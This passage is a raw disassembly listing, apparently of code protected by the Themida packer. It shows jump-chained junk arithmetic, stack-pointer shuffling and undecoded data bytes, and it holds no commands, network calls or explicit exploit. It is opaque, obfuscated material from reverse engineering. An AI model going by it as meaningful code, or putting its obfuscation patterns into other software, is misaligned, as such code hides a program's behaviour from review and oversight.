loc_556E91: ; CODE XREF: Themida_:00558835j
pop edi
mov edi, esi
jmp loc_567EE6
; ---------------------------------------------------------------------------
aUhFz_lSsa db 'Uh╟F╖_▀,$И≥A',0
db 0
; ---------------------------------------------------------------------------
loc_556EA7: ; CODE XREF: Themida_:00554D50j
xor eax, edx
mov edx, [esp]
add esp, 4
add ebp, eax
mov eax, [esp]
jmp loc_55B514
; ---------------------------------------------------------------------------
db 51h, 0B9h, 0DCh
dd 0D15E4216h, 78E981E9h, 0F71CB00Bh, 0FBC181D1h, 11270FFh
dd 0C152E9CBh, 0F587FFFFh, 0A6F5815Eh, 0F771FF17h, 49C581DDh
dd 1A5A7CFh, 0C8015DE9h, 0B77DE9h
db 0
; ---------------------------------------------------------------------------
loc_556EF1: ; CODE XREF: Themida_:0055C387j
mov eax, 0
jmp loc_5671E2
; ---------------------------------------------------------------------------
db 8Bh
dd 0EC812424h, 4, 89241C89h, 2AE0E9E3h, 0E8680000h, 8900005Eh
dd 8BE92404h, 500000F6h, 0B498A9B8h, 5FCDE97Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556F26: ; CODE XREF: Themida_:00554B51j
mov [esp], edx
push eax
push 6B37h
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_55FE09
; ---------------------------------------------------------------------------
loc_556F3F: ; CODE XREF: Themida_:005576ECj
add esi, 4
jmp loc_5580C3
; ---------------------------------------------------------------------------
loc_556F4A: ; CODE XREF: Themida_:00557768j
xor edi, edx
mov edx, [esp]
add esp, 4
and ecx, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
push 568Fh
mov [esp], ecx
push esp
jmp loc_55D5F3
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 241C8900h, 5FE943B7h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556F7F: ; CODE XREF: Themida_:00555A63j
push dword ptr [esp]
jmp loc_562E72
; ---------------------------------------------------------------------------
loc_556F87: ; CODE XREF: Themida_:00562609j
xor ebx, [esp]
jmp loc_567395
; ---------------------------------------------------------------------------
loc_556F8F: ; CODE XREF: Themida_:00562304j
pop eax
xor dh, 0DFh
xor al, dh
pop edx
sub bl, 0Fh
add bl, 99h
jmp loc_55531A
; ---------------------------------------------------------------------------
dd offset dword_457444+0D24h
align 2
dw 5FE9h
dd 0E900003Ch, 0FFFFBC0Bh
; ---------------------------------------------------------------------------
loc_556FB0: ; CODE XREF: Themida_:0055CB4Fj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], cx
mov cl, 1Bh
sub al, 0F6h
sub al, 89h
add al, cl
add al, 89h
add al, 0F6h
pop cx
push 1E48h
jmp loc_558BC5
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4815B24h, 4, 0E9241433h, 10593h, 0E924048Bh, 9FA4h
; ---------------------------------------------------------------------------
loc_556FF0: ; CODE XREF: Themida_:00554DDCj
push ebx
mov ebx, 12F16758h
mov ebp, ebx
pop ebx
mov edx, 24F28BEFh
sub edx, ebp
jmp loc_557312
; ---------------------------------------------------------------------------
db 56h, 89h, 0E6h
dd 4BF57h, 96E90000h, 53000009h, 8A90E9h
db 0
; ---------------------------------------------------------------------------
loc_557019: ; CODE XREF: Themida_:0055485Fj
mov ebp, [esp]
push 0BF7h
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xchg edi, ebx
neg edi
xchg edi, ebx
push ebp
push ecx
mov ecx, 175E381Ch
or ecx, 3CE1730h
xor ecx, 0CB52AF4Fh
jmp loc_564822
; ---------------------------------------------------------------------------
loc_557051: ; CODE XREF: Themida_:0055E48Fj
xor ebx, edi
pop edi
dec ebx
shl ebx, 1
push ebp
mov ebp, 3A2E61D2h
shr ebp, 7
and ebp, 574F3ECCh
shl ebp, 2
shl ebp, 3
xor ebp, 437AFE6h
xor ebx, ebp
mov ebp, [esp]
add esp, 4
mov esi, ebx
pop ebx
sub edi, 41CE2966h
add edi, esi
add edi, 41CE2966h
pop esi
xchg edi, [esp]
mov esp, [esp]
shl esi, 4
sub esi, 833B9BD0h
and eax, esi
push dword ptr [esp]
pop esi
push ebp
mov ebp, esp
jmp loc_556DD7
; ---------------------------------------------------------------------------
loc_5570AC: ; CODE XREF: Themida_:00565A76j
push dword ptr [esp]
pop eax
push 914h
mov [esp], ebx
mov ebx, esp
sub esp, 4
jmp loc_561C76
; ---------------------------------------------------------------------------
aQsu db 'QИ⌠е',0
dw 8700h
dd 0E95C243Ch, 0FFFFC122h, 240C8B5Bh, 4BCAE951h, 80590000h
dd 0F280FAC2h, 66CAFE84h, 30AEB551h, 685966EAh, 2242h
dd 0B1240C89h, 0D18BE9E8h, 0B4BD0000h, 173FB02h, 0F29CE9E9h
dd 0E3C10000h, 0EEBE5606h, 811F8C07h, 360594E6h, 79E9466Eh
dd 89000015h, 4C681E6h, 83000000h, 348704C6h, 1C335C24h
dd 241C3124h, 5C241C33h, 240C8B66h, 0AC55E9h, 20E95800h
dd 0BB000001h, 4D3951ADh, 4933EB81h, 0EB812348h, 0EF86FC4Ch
dd 5EE9DF29h, 0B90000F6h, 2B996632h, 4859C889h, 70FBE9h
db 0
; ---------------------------------------------------------------------------
loc_55716D: ; CODE XREF: Themida_:0055BDDFj
or esi, 21D36194h
xor esi, 17872F4Eh
dec esi
xor esi, 8F6250A4h
jmp loc_561E4C
; ---------------------------------------------------------------------------
loc_557185: ; CODE XREF: Themida_:0055F981j
pop esp
sub esp, 4
jmp loc_554C26
; ---------------------------------------------------------------------------
db 5Ah, 66h, 59h
dd 6804EBC0h, 1747h, 0B6241489h, 68DEF6F9h, 3169h, 0B0240489h
dd 24D8F613h, 0FEBD0CB9h, 8A6CE9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5571BA: ; CODE XREF: Themida_:005555E6j
xchg ecx, [esp]
jmp loc_5638A5
; ---------------------------------------------------------------------------
dw 431h
dd 0F0E99C24h, 89FFFFB9h, 51E92404h, 660000C1h, 68D7E981h
dd 0DBC18166h, 0F181660Ch, 166C87Ah, 8BF1E9CDh, 0EB830000h
dd 0D9E3E901h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5571F2: ; CODE XREF: Themida_:00557C59j
xor edi, 1FE6D40h
add ebx, edi
pop edi
add edi, ebx
mov ebx, [esp]
add esp, 4
push ecx
mov ecx, 4
add edi, ecx
jmp loc_555824
; ---------------------------------------------------------------------------
loc_557210: ; CODE XREF: Themida_:00552C0Aj
sub cl, 0D1h
push eax
mov ah, 30h
sub cl, ah
pop eax
pop bx
push ebx
mov bl, 0DBh
xor bl, 21h
sub bl, 6Dh
sub al, bl
pop ebx
jmp loc_5680B8
; ---------------------------------------------------------------------------
dword_55722C dd 9D1C77FFh, 1CD25966h, 80E99C24h ; DATA XREF: Themida_:00552974o
db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55723B: ; CODE XREF: Themida_:0055B4FCj
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
jmp loc_5673B9
; ---------------------------------------------------------------------------
loc_55724A: ; CODE XREF: Themida_:005611EBj
pop edi
jmp loc_565FD5
; ---------------------------------------------------------------------------
dword_557250 dd 0E932FF66h, 0FFFFB963h ; DATA XREF: Themida_:005529F4o
; ---------------------------------------------------------------------------
loc_557258: ; CODE XREF: Themida_:0055E05Fj
shl edx, 1
push 6721h
mov [esp], esi
jmp loc_5632E3
; ---------------------------------------------------------------------------
db 1
dd 0CEEA81C2h, 580FBD6Dh, 31241433h, 25E92414h
db 8Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55727B: ; CODE XREF: Themida_:0055CE37j
pop edx
add eax, 22376107h
push esi
mov esi, 3B200E8Eh
shr esi, 8
xor esi, 73BF2226h
not esi
shr esi, 2
xor esi, 1DE3A744h
sub eax, esi
pop esi
add eax, 6BE7067Eh
sub eax, ebx
sub eax, 6BE7067Eh
add eax, 3EFD5831h
sub eax, 22376107h
pop ebx
push edi
jmp loc_560640
; ---------------------------------------------------------------------------
db 89h
dd 5BD889D3h, 2444015Ah, 2434FF04h, 8324048Bh, 0E95004C4h
dd 7A4h
; ---------------------------------------------------------------------------
loc_5572D4: ; CODE XREF: Themida_:005562C1j
push ecx
push ebx
jmp loc_553B2A
; ---------------------------------------------------------------------------
loc_5572DB: ; CODE XREF: Themida_:0055DDA5j
sub ah, bl
pop ebx
and ah, 2Ch
push dx
mov dh, 0F6h
xor ah, dh
jmp loc_562300
; ---------------------------------------------------------------------------
dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 348B5456h, 0C72E924h
dd 0BBBF0001h, 29628263h, 7F0FE9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557312: ; CODE XREF: Themida_:00557000j
pop ebp
add ecx, edx
mov edx, [esp]
push ebp
jmp loc_55BA94
; ---------------------------------------------------------------------------
dw 0C483h
dd 32B3E904h, 0F3810000h, 4CE39615h, 815BDF89h, 0DB3981C7h
dd 81DF016Eh, 0DB3981EFh, 0F8315B6Eh, 815EE9h
db 0
; ---------------------------------------------------------------------------
loc_557345: ; CODE XREF: Themida_:00560164j
push 6462h
mov [esp], ebp
push dword ptr [esp]
pop eax
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5664D4
; ---------------------------------------------------------------------------
loc_557365: ; CODE XREF: Themida_:0055B065j
add esp, 4
not ebx
jmp loc_55B4D8
; ---------------------------------------------------------------------------
dw 0C31h
dd 240C3324h, 8F24248Bh, 0B8E92404h, 8100004Ch, 0C804246Ch
dd 0FF2D765Ch, 815D2434h, 4C4h, 3414E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55739A: ; CODE XREF: Themida_:00559EACj
sub esi, edx
jmp loc_566A92
; ---------------------------------------------------------------------------
loc_5573A1: ; CODE XREF: Themida_:0055BB19j
xchg esi, [esp]
pop esp
mov [esp], eax
push 0A044E45h
pop eax
sub eax, 68422F9Eh
neg eax
jmp loc_55983C
; ---------------------------------------------------------------------------
loc_5573BA: ; CODE XREF: Themida_:005682D7j
sub esp, 4
mov [esp], ebx
mov bl, 35h
jmp loc_561A5D
; ---------------------------------------------------------------------------
aOsvx db 'OИV∙',0
align 10h
dd 2124248Bh, 0E99C2404h, 0FFFFB7DFh, 4BBh, 0E9D82900h
dd 0FFFFEACAh, 73BD5552h, 17ECE49h, 0E904246Ch, 58EBh
; ---------------------------------------------------------------------------
loc_5573F8: ; CODE XREF: Themida_:00561EE6j
pop eax
dec esi
shr esi, 7
inc esi
not esi
jmp loc_559E3B
; ---------------------------------------------------------------------------
aZsG db 'ZИшg',0
dw 6800h
dd 7F836B86h, 3E2C15Ah, 0E2D1DAF7h, 6806EAC1h, 196Eh, 0E9243C89h
dd 0F308h
; ---------------------------------------------------------------------------
loc_557428: ; CODE XREF: Themida_:00567666j
add esp, 4
pop dword ptr [esp]
pop esp
push 449h
jmp loc_55BC2A
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 81000000h, 4C3h, 241C8700h, 2236E9h
db 0
; ---------------------------------------------------------------------------
loc_55744D: ; CODE XREF: Themida_:0055E0FCj
mov [esp], ebx
push ecx
sub esp, 4
mov [esp], esi
mov esi, 71684D30h
jmp loc_55DF36
; ---------------------------------------------------------------------------
dd 1E10C781h, 0C7817F74h, 68D00157h, 0AAADE95Eh, 148B0000h
dd 9EDAE924h, 815A0000h, 4C2h, 4C28100h, 33000000h, 14312414h
dd 49FCE924h, 0C4830000h, 4EC8104h, 89000000h, 74FF2414h
dd 40E90424h
db 65h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5574AB: ; CODE XREF: Themida_:00567B17j
xchg ebx, [esp]
jmp loc_561413
; ---------------------------------------------------------------------------
db 66h
dd 2414F650h, 0D0F65866h, 8850E9h
db 0
; ---------------------------------------------------------------------------
loc_5574C1: ; CODE XREF: Themida_:00556427j
sub esp, 4
mov [esp], ebx
push esp
pop ebx
add ebx, 4
push edi
mov edi, 4
sub ebx, edi
jmp loc_553AD4
; ---------------------------------------------------------------------------
loc_5574DC: ; CODE XREF: Themida_:00560DB9j
xchg ebx, [esp]
pop esp
jmp loc_5538D8
; ---------------------------------------------------------------------------
align 2
dw 80CFh
dd 8859F5C7h, 0EC835BFEh, 0C896602h, 2C31B524h, 0E9E82877h
dd 7AA6h, 0CE80CEFEh, 80DEF64Bh, 0AEE9E2C6h
db 91h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55750F: ; CODE XREF: Themida_:0056507Dj
add edx, edi
mov edi, [esp]
jmp loc_55E13D
; ---------------------------------------------------------------------------
aH?d_zbYogjSa db 'h=?D.Z│йyogjяЙИМт',0
align 4
dd 5E08950h, 4, 8704C083h, 555C2404h, 242C8B54h, 0E904C483h
dd 1052Ch
; ---------------------------------------------------------------------------
loc_557548: ; CODE XREF: Themida_:00558AC5j
pop edi
push ecx
jmp loc_565D10
; ---------------------------------------------------------------------------
db 0BDh
dd 534C0859h, 4503E5C1h, 33E9D5F7h, 81000057h, 0D06E7AEBh
dd 68515547h, 3F377BC7h, 0B197E959h
db 2 dup(0)
word_557572 dw 77FFh ; DATA XREF: Themida_:00552920o
dd 58669D1Ch, 24041966h, 32DFE99Ch, 55570000h, 1F0BBB53h
dd 6FE91472h, 5E0000E9h, 0DA5BEF81h, 0F801F7D7h, 3DE9535Fh
dd 89FFFFFEh, 2C872434h, 87D5F724h, 348B242Ch, 4C48124h
dd 0E9000000h, 0F51Bh, 73D4CF81h, 0EF812B60h, 3E5825A4h
dd 728ECF81h, 0E95031DEh, 22A9h, 0A28FE95Ah, 31590000h
dd 0CA875FFAh, 8322E9h, 4C48300h, 34FFC301h, 0C4835824h
dd 0FFDD0104h, 835B2434h, 2C8704C4h, 0F665C24h, 5E68C8B6h
dd 8900004Fh, 0E9542434h, 0EF24h, 3325AEB8h, 58C78901h
dd 815FFE31h, 665EF0C6h, 3D39E951h, 8B660000h, 0C481240Ch
dd 2, 5166D800h, 0E8284EB5h, 2E95966h, 0F7FFFFF4h, 31D987D3h
dd 0BA8EE9CDh, 248BFFFFh, 48B6624h, 4F116824h, 34890000h
dd 52E68924h, 0F574E954h, 0E789FFFFh, 87CAE9h, 2434FF00h
dd 8B2434FFh, 8956240Ch, 4C681E6h, 83000000h, 348704C6h
dd 0C4815C24h, 4, 2D4A68h, 240C8900h, 181868h, 24248900h
dd 4BF57h, 7C010000h, 8B5F0424h, 0C481240Ch, 4, 7BDA68h
dd 241C8900h, 2C5FD9BBh, 41F3813Dh, 0E917507Ah, 0F25Dh
; ---------------------------------------------------------------------------
loc_5576C0: ; CODE XREF: Themida_:0055A5BEj
neg edi
neg edi
jmp loc_55FEBB
; ---------------------------------------------------------------------------
loc_5576C9: ; CODE XREF: Themida_:00556825j
mov [esp], ax
dec byte ptr [esp]
pop ax
xor al, 17h
add bl, al
jmp loc_5636B5
; ---------------------------------------------------------------------------
loc_5576DB: ; CODE XREF: Themida_:005566E3j
add esi, 4
jmp loc_5551F9
; ---------------------------------------------------------------------------
loc_5576E3: ; CODE XREF: Themida_:00559E93j
push esi
mov esi, esp
add esi, 4
jmp loc_556F3F
; ---------------------------------------------------------------------------
aXh db 'Xhц=',0
dw 8900h
dd 7CBD242Ch, 8119E00Fh, 0C076F5CDh, 42EAE952h
db 2 dup(0)
word_55770A dw 51ADh ; DATA XREF: Themida_:00552A64o
dd 113346B9h, 69E94156h, 57FFFFB9h, 102B3E9h
db 0
; ---------------------------------------------------------------------------
loc_55771D: ; CODE XREF: Themida_:005589E6j
mov ebx, 520E4F4Fh
jmp loc_556171
; ---------------------------------------------------------------------------
byte_557727 db 66h ; DATA XREF: Themida_:00552A88o
dd 0E9240C8Bh, 3C1Dh
; ---------------------------------------------------------------------------
loc_557730: ; CODE XREF: Themida_:00565B0Dj
push 5C5D16ABh
pop ebp
push edi
jmp loc_55C341
; ---------------------------------------------------------------------------
dd 5604C483h, 4BEh, 5EF10100h, 0E88E9h
db 0
; ---------------------------------------------------------------------------
loc_55774D: ; CODE XREF: Themida_:00565B8Ej
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_564208
; ---------------------------------------------------------------------------
loc_55775D: ; CODE XREF: Themida_:00567629j
xor edx, esi
mov esi, [esp]
add esp, 4
jmp loc_556F4A
; ---------------------------------------------------------------------------
aSiusZ db 'S┴ЦИ,┤',0
db 0
; ---------------------------------------------------------------------------
loc_557775: ; CODE XREF: Themida_:0056460Bj
push ebx
mov ebx, 7D121B31h
mov edi, 444D6A5Ah
jmp loc_561793
; ---------------------------------------------------------------------------
loc_557785: ; CODE XREF: Themida_:005609F1j
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
jmp loc_555DEF
; ---------------------------------------------------------------------------
aXs db 'XИ%ъ',0
align 2
aHs db 'hS;',0 ; DATA XREF: Themida_:00552B1Co
dw 0E900h
dd 0FFFFBC64h, 0B859CA89h, 3FEA3DE5h, 0C4E9D031h
db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5577B3: ; CODE XREF: Themida_:0056687Dj
push ebx
push esi
jmp loc_5597B5
; ---------------------------------------------------------------------------
dw 0EC83h
dd 243C8904h, 0D0321FBFh, 246C817Dh, 32484208h, 247C2956h
dd 24448108h, 32484208h, 9BAAE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5577DE: ; CODE XREF: Themida_:00562A83j
sub eax, ebp
pop ebp
jmp loc_565810
; ---------------------------------------------------------------------------
dw 0FBDh
dd 0BF60277Ah, 0E95E4B1h, 2C8BEF01h, 4C48124h, 89000000h
dd 0E9565FFAh, 7994h, 0BA241489h, 907B3Dh, 1169BD55h, 0EA810267h
dd 71D41630h, 0C281EA29h, 71D41630h, 87CA875Dh, 87D7F7F9h
dd 639268F9h, 14890000h, 595A5124h, 6308BE56h, 0F22168E7h
dd 0BF25E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557842: ; CODE XREF: Themida_:0056063Bj
pop esp
mov [esp], edx
push ebp
jmp loc_56362D
; ---------------------------------------------------------------------------
a_skx db '_ИKX',0
align 2
loc_557852: ; CODE XREF: Themida_:005554EDj
mov edx, [esp]
add esp, 4
add esp, 4
add esp, 4
shr eax, 8
xor eax, ecx
push edx
mov edx, esp
jmp loc_5664F3
; ---------------------------------------------------------------------------
dw 0CB68h
dd 89000028h, 0F3E9243Ch, 55000006h, 0E5442B68h, 6D6EE96Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557886: ; CODE XREF: Themida_:00563F28j
mov [esp], edi
jmp loc_5610A3
; ---------------------------------------------------------------------------
aSr db ')йИrъ',0
dd 24548600h, 14F65201h, 54865A24h, 48B0124h, 4C48124h
dd 83000000h, 896602ECh, 22B1240Ch, 5966CC30h, 88E38853h
dd 395BE9DDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5578C2: ; CODE XREF: Themida_:0055F682j
mov edx, 49D60FBAh
and edx, 66E737CCh
or edx, 4B7F02ADh
push esi
mov esi, 0FD91D4C4h
sub edx, esi
pop esi
sub edi, edx
mov edx, [esp]
add esp, 4
neg edi
xor edi, 6CB7F3F8h
xor eax, edi
pop edi
sub eax, 0F9D6CC74h
and ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
shr ecx, 7
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
push 5E5Ch
mov [esp], ebx
pop edx
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 751220DCh
push edx
mov edx, 438D614Ah
and edx, 5E5622B5h
not edx
jmp loc_55EAB0
; ---------------------------------------------------------------------------
db 81h
dd 0D66664EAh, 53CA014Bh, 0EE6EC9BBh, 0E9D3F738h, 8C8Bh
dd 0E904C483h, 0FFFFB25Fh, 0E95EF501h, 584Bh, 4C481h, 29660000h
dd 1656E9E8h, 0E7810000h, 92D00EDh, 0E0E95150h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55797F: ; CODE XREF: Themida_:00560F18j
push eax
mov eax, 449F5AF0h
jmp loc_55F844
; ---------------------------------------------------------------------------
loc_55798A: ; CODE XREF: Themida_:005647BEj
sub esp, 4
jmp loc_55A6C4
; ---------------------------------------------------------------------------
loc_557992: ; CODE XREF: Themida_:005548B8j
mov edx, 27A16F28h
xor edx, 3E057BD7h
jmp loc_5652FF
; ---------------------------------------------------------------------------
word_5579A2 dw 28Fh ; DATA XREF: Themida_:00552980o
dd 0A583E9h, 0C6C68100h, 1265F4Bh, 0C6EE81FEh, 5F265F4Bh
dd 3304C683h, 38E92434h
db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5579C3: ; CODE XREF: Themida_:0055857Cj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push esi
mov esi, 972074Dh
sub esi, 67DE0B5Dh
and esi, 3D81450Ah
not esi
add esi, 0C552EAB2h
mov edi, esi
pop esi
push eax
jmp loc_5590AF
; ---------------------------------------------------------------------------
loc_5579F6: ; CODE XREF: Themida_:005592E9j
sub esp, 4
mov [esp], esp
jmp loc_55D808
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 2C381h, 1C330000h, 241C3124h, 5C241C33h, 93CCE9h
db 0
; ---------------------------------------------------------------------------
loc_557A19: ; CODE XREF: Themida_:00560112j
push eax
jmp loc_55AA7A
; ---------------------------------------------------------------------------
byte_557A1F db 66h ; DATA XREF: Themida_:00552A00o
dd 68240C8Bh, 3C96h, 83243489h, 0E86804ECh, 89000004h
dd 4812424h, 424h, 24048F00h, 4240481h, 8B000000h, 54532434h
dd 1F23E95Bh, 0BE0D0000h, 3507DC70h, 3CDBED62h, 495D68h
dd 24148900h, 0E456E951h, 0EC810000h, 4, 0E9241C89h, 0C645h
dd 0BE56E089h, 4, 0EB7C012Dh, 5F0014Ch, 4CEB7C01h, 68E9555Eh
dd 33FFFFD4h, 0C31240Ch, 240C3324h, 240CFF5Ch, 0B115E99Ch
dd 420FFFFh, 0CE99C24h, 5AFFFFB1h, 4BB53h, 0DA010000h
dd 83BD555Bh, 0E9089C4Eh, 2D68h
; ---------------------------------------------------------------------------
loc_557AC4: ; CODE XREF: Themida_:0055B724j
push edi
mov edi, esp
add edi, 4
jmp loc_55B072
; ---------------------------------------------------------------------------
dw 8145h
dd 823218F5h, 9452E917h, 8FB60000h, 7695E9h
db 0
; ---------------------------------------------------------------------------
loc_557AE5: ; CODE XREF: Themida_:00561A65j
dec ch
sub esp, 4
jmp loc_56780A
; ---------------------------------------------------------------------------
loc_557AEF: ; CODE XREF: Themida_:00559251j
pop ebp
xchg eax, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_553BD5
; ---------------------------------------------------------------------------
dw 0E959h
dd 0FFFFFE60h
; ---------------------------------------------------------------------------
loc_557B04: ; CODE XREF: Themida_:005660ACj
pop edx
jmp loc_55662C
; ---------------------------------------------------------------------------
dw 4566h
dd 2DED6866h, 1A4DE9h
db 0
; ---------------------------------------------------------------------------
loc_557B15: ; CODE XREF: Themida_:005640EDj
and eax, esi
mov esi, [esp]
push ebp
jmp loc_5640D2
; ---------------------------------------------------------------------------
loc_557B20: ; CODE XREF: Themida_:0055AFE4j
dec ebp
shl ebp, 2
shl ebp, 5
neg ebp
or ebp, 21AA5585h
sub esp, 4
mov [esp], ecx
mov ecx, 25E97D86h
jmp loc_565B12
; ---------------------------------------------------------------------------
db 0FFh
a4Ritshe db '4$]R┴БИHE',0
dw 8300h
dd 148904ECh, 4BA24h, 0B9510000h, 1DEE7EDFh, 0FFFFE981h
dd 44E9FFFFh
db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557B67: ; CODE XREF: Themida_:005680BCj
sub al, cl
add al, 8Dh
push ecx
mov cl, 0A1h
add al, cl
pop ecx
add al, 8Dh
mov ecx, [esp]
add esp, 4
sub al, 2Eh
jmp loc_55DE3A
; ---------------------------------------------------------------------------
loc_557B83: ; CODE XREF: Themida_:00563C7Aj
mov eax, [esp]
add esp, 4
jmp loc_555C1D
; ---------------------------------------------------------------------------
dw 4BEh
dd 0E9000000h, 0FFFFD818h, 84E9CF01h, 0FF00004Bh, 81592434h
dd 4C4h, 63C78100h, 1109D05h, 63BE56EFh, 55109D05h, 0BF3E9h
dd 0E6895600h, 0A663E9h, 0E9E92900h, 8FCBh
dword_557BCC dd 24048B66h, 74A268h, 240C8900h, 0EC67E9h ; DATA XREF: Themida_:00552A90o
db 0
; ---------------------------------------------------------------------------
loc_557BDD: ; CODE XREF: Themida_:00561468j
mov eax, ebp
mov ebp, [esp]
add esp, 4
sub edi, 70251F65h
add edi, eax
jmp loc_568245
; ---------------------------------------------------------------------------
loc_557BF5: ; CODE XREF: Themida_:00553399j
add esp, 4
push ecx
mov ch, 7Bh
jmp loc_556130
; ---------------------------------------------------------------------------
loc_557C00: ; CODE XREF: Themida_:0055B47Dj
sub [edi+24h], edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
loc_557C12: ; CODE XREF: Themida_:0055E630j
push edi
push ebx
push ecx
mov ecx, 12C409C4h
jmp loc_561445
; ---------------------------------------------------------------------------
loc_557C1F: ; CODE XREF: Themida_:00560354j
pop esi
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
pop bx
push ebx
mov bh, 17h
shl bh, 5
and bh, 0FBh
xor bh, 0E1h
jmp loc_55EE29
; ---------------------------------------------------------------------------
loc_557C40: ; CODE XREF: Themida_:0055C055j
push edx
mov edx, 79BF376Dh
sub edx, 4590087Eh
shr edx, 2
sub edx, 0AB5AA80Eh
xor edi, edx
pop edx
dec edi
jmp loc_5571F2
; ---------------------------------------------------------------------------
loc_557C5E: ; CODE XREF: Themida_:00565311j
sub edi, edx
jmp loc_5659AF
; ---------------------------------------------------------------------------
db 0BDh, 0Ah, 77h
dd 0C531108Ch, 0FFEA0158h, 815D2434h, 4C4h, 6B4B6800h
dd 0C890000h, 4E48B924h, 0E98119E5h, 4126212Fh, 761CE9h
db 0
; ---------------------------------------------------------------------------
loc_557C91: ; CODE XREF: Themida_:00563931j
neg eax
push esi
mov esi, 5CD8BC5Eh
sub eax, esi
mov esi, [esp]
add esp, 4
add ebp, eax
pop eax
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_55E62E
; ---------------------------------------------------------------------------
db 5Ah
dd 6658E500h, 664C0368h, 0B0240489h, 0B6B8E972h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557CD2: ; CODE XREF: Themida_:005658ADj
sub edx, 42A662ACh
and edx, 51EF6EC4h
jmp loc_5585C7
; ---------------------------------------------------------------------------
loc_557CE3: ; CODE XREF: Themida_:0055E0C9j
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_55C48F
; ---------------------------------------------------------------------------
loc_557CF7: ; CODE XREF: Themida_:00563EA6j
not ebx
push ebp
push ebx
pop ebp
pop ebx
sub ebp, 0FFFFFFFFh
push edx
mov edx, 283A008Fh
not edx
xor edx, 2AE21446h
dec edx
and edx, 268B3FE4h
shl edx, 7
sub edx, 2801BDF2h
sub ebp, edx
pop edx
and eax, ebp
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
push ebx
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
jmp loc_566658
; ---------------------------------------------------------------------------
dd 50241C8Bh, 0E952E089h, 3C45h
dword_557D4C dd 9D1C77FFh, 14D25966h, 60E99C24h ; DATA XREF: Themida_:005529DCo
db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557D5B: ; CODE XREF: Themida_:00559ABAj
push 4F22h
mov [esp], edx
push 638Ah
mov [esp], ecx
jmp loc_55FB9A
; ---------------------------------------------------------------------------
loc_557D70: ; CODE XREF: Themida_:0055C4E2j
mov [ebx], eax
pop ebx
pop eax
push esi
mov esi, esp
add esi, 4
jmp loc_566CAD
; ---------------------------------------------------------------------------
loc_557D82: ; CODE XREF: Themida_:0055D735j
pop ebp
jmp loc_5670CB
; ---------------------------------------------------------------------------
dd 65C18058h, 803FB252h, 0C1803EEAh, 0E9D1281Dh, 0D999h
dd 815EF031h, 4ECh, 24048900h, 4C73BF57h, 7C31376Ch, 21E90424h
dd 2900004Eh, 5F0C247Ch, 8247401h, 8244481h, 2E7F7E0Fh
dd 61CCE9h, 24048900h, 444250B8h, 380E0D51h, 0BF5727C8h
dd 48F526FFh, 0E14CE9h, 7395BA00h, 0E2817581h, 55C17FFCh
dd 7E2C142h, 33E0F281h, 0C2817E6Fh, 42BF3778h, 148BD129h
dd 4C48324h, 1DB8C181h, 0CF01EF72h, 74FF5759h, 3C8B0424h
dd 4C48124h, 8F000000h, 295C2404h, 0E3A9E9F8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557E2A: ; CODE XREF: Themida_:0055A1D5j
mov ebx, ecx
pop ecx
add [esp+8], ebx
pop ebx
mov eax, [esp]
jmp loc_553229
; ---------------------------------------------------------------------------
loc_557E3A: ; CODE XREF: Themida_:0055EE54j
add edx, 4
jmp loc_55AAFF
; ---------------------------------------------------------------------------
db 89h, 0E3h, 81h
dd 4C3h, 4B95100h, 1000000h, 1C8759CBh, 59E95C24h, 0BA000053h
dd 0D4266F3h, 7586F281h, 0E281512Bh, 643412FBh, 6C1EA81h
dd 0C28105ADh, 1, 33F28142h, 0E9610400h, 0F8F8h, 405h
dd 20500h, 4870000h, 0EC815C24h, 4, 0FFC05DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557EA1: ; CODE XREF: Themida_:005615A2j
add eax, ecx
